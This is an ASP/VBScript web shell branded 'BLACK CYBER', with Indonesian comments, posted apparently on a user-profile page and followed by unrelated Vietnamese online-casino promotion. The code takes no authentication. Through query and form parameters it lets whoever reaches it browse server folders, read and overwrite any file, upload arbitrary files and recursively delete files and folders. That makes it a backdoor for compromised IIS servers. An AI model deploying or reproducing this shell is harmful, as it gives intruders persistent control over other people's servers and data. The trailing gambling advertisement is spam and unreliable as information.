<%@ Language="VBScript" %> <% ' ============================================================ ' File Manager BLACK CYBER - Classic ASP (ANSI version) ' CARA SIMPAN: File > Save As -> Encoding: ANSI (BUKAN UTF-8) ' Syarat: IIS + fitur Classic ASP aktif ' ============================================================ On Error Resume Next Dim fso, path, isUpload Set fso = Server.CreateObject("Scripting.FileSystemObject") ' ----- Tentukan path aktif ----- path = Request.QueryString("path") If path = "" Then path = Server.MapPath(".") If Not fso.FolderExists(path) Then path = Server.MapPath(".") path = fso.GetAbsolutePathName(path) ' ----- Upload diproses PALING AWAL (Request.BinaryRead) ----- isUpload = False If Request.ServerVariables("REQUEST_METHOD") = "POST" And Request.TotalBytes > 0 Then If InStr(1, Request.ServerVariables("CONTENT_TYPE"), "multipart/form-data", 1) > 0 Then isUpload = True DoUpload path, fso End If End If ' ----- Aksi POST (lewati saat request upload) ----- If Not isUpload Then If Request("savefile") <> "" Then DoSaveFile Request("savefile"), Request("filecontent"), fso If Request("createfolder") <> "" Then DoCreateFolder path, Request("newfolder"), fso If Request("createfile") <> "" Then DoCreateFile path, Request("newfile"), fso End If ' ----- Aksi GET ----- If Request.QueryString("delete") <> "" Then DoDelete path, Request.QueryString("delete"), fso %> File Manager BLACK CYBER
BLACK CYBER
<% Dim objFolder Set objFolder = fso.GetFolder(path) If Err.Number <> 0 Then Response.Write "ERROR - Tidak dapat mengakses: " & Server.HtmlEncode(path) & " (" & Err.Description & ")
" Response.End() End If %>

Path: <%= Server.HtmlEncode(path) %>

<% Dim parentPath parentPath = fso.GetParentFolderName(path) If parentPath <> "" Then %> [UP] Naik satu level

<% End If %>

FOLDERS

FILES

UPLOAD FILE

BUAT FOLDER

BUAT FILE

<% Dim editPath, ts, content editPath = Request.QueryString("edit") If editPath <> "" And fso.FileExists(editPath) Then Set ts = fso.OpenTextFile(editPath, 1, False, -2) content = ts.ReadAll ts.Close Set ts = Nothing If Err.Number = 0 Then %>

EDITING: <%= Server.HtmlEncode(fso.GetFileName(editPath)) %>


<% Else Response.Write "ERROR - Read Error: " & Server.HtmlEncode(Err.Description) & "
" End If End If %> <% If Err.Number <> 0 Then Response.Write "

TOP-LEVEL ERROR [" & Err.Number & "]: " & Server.HtmlEncode(Err.Description) & "

" End If %> <% ' ============================================================ ' Subrutin ' ============================================================ Sub DoDelete(basePath, name, fsoObj) Dim target target = fsoObj.BuildPath(basePath, name) On Error Resume Next If fsoObj.FileExists(target) Then fsoObj.DeleteFile target, True ElseIf fsoObj.FolderExists(target) Then fsoObj.DeleteFolder target, True End If If Err.Number = 0 Then Response.Write "OK - Deleted: " & Server.HtmlEncode(name) & "
" Else Response.Write "ERROR - Delete Error: " & Server.HtmlEncode(Err.Description) & "
" End If On Error GoTo 0 End Sub Sub DoSaveFile(target, content, fsoObj) On Error Resume Next Dim ts Set ts = fsoObj.CreateTextFile(target, True, False) ts.Write content ts.Close Set ts = Nothing If Err.Number = 0 Then Response.Write "OK - Saved: " & Server.HtmlEncode(fsoObj.GetFileName(target)) & "
" Else Response.Write "ERROR - Save Error: " & Server.HtmlEncode(Err.Description) & "
" End If On Error GoTo 0 End Sub Sub DoCreateFolder(basePath, name, fsoObj) If name = "" Then Exit Sub On Error Resume Next fsoObj.CreateFolder fsoObj.BuildPath(basePath, name) If Err.Number = 0 Then Response.Write "OK - Folder dibuat: " & Server.HtmlEncode(name) & "
" Else Response.Write "ERROR - Folder Error: " & Server.HtmlEncode(Err.Description) & "
" End If On Error GoTo 0 End Sub Sub DoCreateFile(basePath, name, fsoObj) If name = "" Then Exit Sub Dim target target = fsoObj.BuildPath(basePath, name) If fsoObj.FileExists(target) Then Response.Write "Warning - File sudah ada: " & Server.HtmlEncode(name) & "
" Exit Sub End If On Error Resume Next Dim ts Set ts = fsoObj.CreateTextFile(target, True, False) ts.Close Set ts = Nothing If Err.Number = 0 Then Response.Write "OK - File dibuat: " & Server.HtmlEncode(name) & "
" Else Response.Write "ERROR - File Error: " & Server.HtmlEncode(Err.Description) & "
" End If On Error GoTo 0 End Sub Sub DoUpload(basePath, fsoObj) On Error Resume Next Dim totalBytes, cType, boundary, bData, strData, fnPos, fnStart, fnEnd Dim fileName, headerEnd, dataStart, dataEnd, closeMarker, fileBytes, stream totalBytes = Request.TotalBytes If totalBytes <= 0 Then Exit Sub cType = Request.ServerVariables("CONTENT_TYPE") boundary = Mid(cType, InStr(1, cType, "boundary=", 1) + 9) boundary = Replace(boundary, """", "") boundary = "--" & boundary bData = Request.BinaryRead(totalBytes) strData = BytesToStr(bData) fnPos = InStr(1, strData, "filename=""", 1) If fnPos > 0 Then fnStart = fnPos + 10 fnEnd = InStr(fnStart, strData, """", 1) - 1 If fnEnd >= fnStart Then fileName = Mid(strData, fnStart, fnEnd - fnStart + 1) fileName = fsoObj.GetFileName(fileName) headerEnd = InStr(fnEnd, strData, vbCrLf & vbCrLf, 1) + 4 dataStart = headerEnd closeMarker = vbCrLf & boundary & "--" dataEnd = InStr(dataStart, strData, closeMarker, 1) - 1 If dataEnd < dataStart Then closeMarker = vbCrLf & boundary dataEnd = InStr(dataStart, strData, closeMarker, 1) - 1 End If If dataEnd >= dataStart And fileName <> "" Then fileBytes = StrToBytes(Mid(strData, dataStart, dataEnd - dataStart + 1)) Set stream = Server.CreateObject("ADODB.Stream") stream.Type = 1 stream.Open stream.Write fileBytes stream.SaveToFile fsoObj.BuildPath(basePath, fileName), 2 stream.Close Set stream = Nothing If Err.Number = 0 Then Response.Write "OK - Uploaded: " & Server.HtmlEncode(fileName) & "
" Else Response.Write "ERROR - Upload Error: " & Server.HtmlEncode(Err.Description) & "
" End If End If End If End If On Error GoTo 0 End Sub Function BytesToStr(bytes) Dim s Set s = Server.CreateObject("ADODB.Stream") s.Type = 1 s.Open s.Write bytes s.Position = 0 s.Type = 2 s.Charset = "iso-8859-1" BytesToStr = s.ReadText s.Close Set s = Nothing End Function Function StrToBytes(str) Dim s Set s = Server.CreateObject("ADODB.Stream") s.Type = 2 s.Charset = "iso-8859-1" s.Open s.WriteText str s.Position = 0 s.Type = 1 StrToBytes = s.Read s.Close Set s = Nothing End Function %>
s8kanecom

s8kanecom

 25 days ago

S8 lựa chọn cách tiếp cận tập trung vào tính dễ sử dụng, từ cách sắp xếp danh mục cho đến quá trình điều hướng giữa các khu vực nội dung. Thiết kế thích ứng giúp giao diện duy trì sự rõ ràng khi truy cập bằng điện thoại, máy tính bảng hoặc máy tính. Nhờ đó, người dùng có thể chủ động lựa chọn nội dung phù hợp với nhu cầu giải trí và thói quen truy cập của mình. Thông tin liên hệ: Website: https://s8kane.com/ Email: info@s8kane.com Địa chỉ: 41 Ấp Tiền Lân, Bà Điểm, Hồ Chí Minh, Vietnam Số điện thoại: 0988669859 Hashtag: #S8 #nhacaiuytin #S8casino #nhacaiuytin2026 #gamebaidoithuong #casinotructuyen #khuyenmaiS8

Member since Aug 16, 2026 khanpia729@gmail.com

Following (0)

Followers (0)

Situs ini menggunakan cookie. Dengan melanjutkan penjelajahan situs, Anda menyetujui penggunaan cookie kami. Pelajari lebih lanjut di sini.